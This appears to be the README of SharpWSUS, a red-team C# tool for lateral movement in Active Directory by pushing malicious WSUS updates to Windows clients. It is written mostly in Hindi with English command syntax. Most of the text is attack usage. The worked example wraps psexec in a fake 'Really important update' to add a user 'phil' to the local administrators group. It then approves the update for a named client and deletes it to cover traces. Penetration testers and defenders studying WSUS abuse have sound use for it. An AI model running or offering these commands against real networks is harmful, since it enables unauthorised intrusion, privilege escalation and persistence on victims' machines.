nettitude/sharpwsusC# टूल जो WSUS के माध्यम से पार्श्विक गति के लिए है, जिसमें Active Directory वातावरण में लक्षित विंडोज़ क्लाइंट्स के लिए दुर्भावनापूर्ण अपडेट बनाना, अनुमोदित करना और तैनात करना शामिल है।
SharpWSUS एक CSharp उपकरण है जो WSUS के माध्यम से पार्श्विक गतिविधि के लिए है। इसके अनुरूप एक ब्लॉग (https://labs.nettitude.com/blog/introducing-sharpwsus/) है जिसमें उपकरण, उपयोग के मामले और पहचान के बारे में अधिक विस्तृत जानकारी है।
नीचे दिए गए संसाधनों को भारी श्रेय जिन्होंने वास्तव में इसके 90% काम किए। यह उपकरण C2 विश्वसनीयता और लचीलेपन के लिए नीचे दिए गए का एक उन्नयन मात्र है।
____ _ __ ______ _ _ ____
/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) |
|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/
|_|
Phil Keeble @ Nettitude Red Team
Commands listed below have optional parameters in <>.
नीचे सूचीबद्ध कमांड्स में वैकल्पिक पैरामीटर <> में हैं।
WSUS सर्वर का पता लगाएं:
SharpWSUS.exe locate
WSUS सर्वर का निरीक्षण करें, क्लाइंट, सर्वर और मौजूदा समूहों की गणना करें:
SharpWSUS.exe inspect
एक अद्यतन बनाएं (नोट: पेलोड एक विंडोज हस्ताक्षरित बाइनरी होना चाहिए):
SharpWSUS.exe create /payload:[File location] /args:[Args for payload] </title:[Update title] /date:[YYYY-MM-DD] /kb:[KB on update] /rating:[Rating of update] /msrc:[MSRC] /description:[description] /url:[url]>
एक अद्यतन स्वीकृत करें:
SharpWSUS.exe approve /updateid:[UpdateGUID] /computername:[Computer to target] </groupname:[Group for computer to be added too] /approver:[Name of approver]>
एक अद्यतन की स्थिति जांचें:
SharpWSUS.exe check /updateid:[UpdateGUID] /computername:[Target FQDN]
अद्यतन हटाएं और जोड़े गए समूहों को साफ करें:
SharpWSUS.exe delete /updateid:[UpdateGUID] /computername:[Target FQDN] </groupname:[GroupName] /keepgroup>
sharpwsus locate
sharpwsus inspect
sharpwsus create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \\"net user phil Password123! /add && net localgroup administrators phil /add\\"" /title:"Great UpdateC21" /date:2021-10-03 /kb:500123 /rating:Important /description:"Really important update" /url:"https://google.com"
sharpwsus approve /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"
sharpwsus check /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local
sharpwsus delete /updateid:9e21a26a-1cbe-4145-934e-d8395acba567 /computername:win10-client10.blorebank.local /groupname:"Awesome Group C2"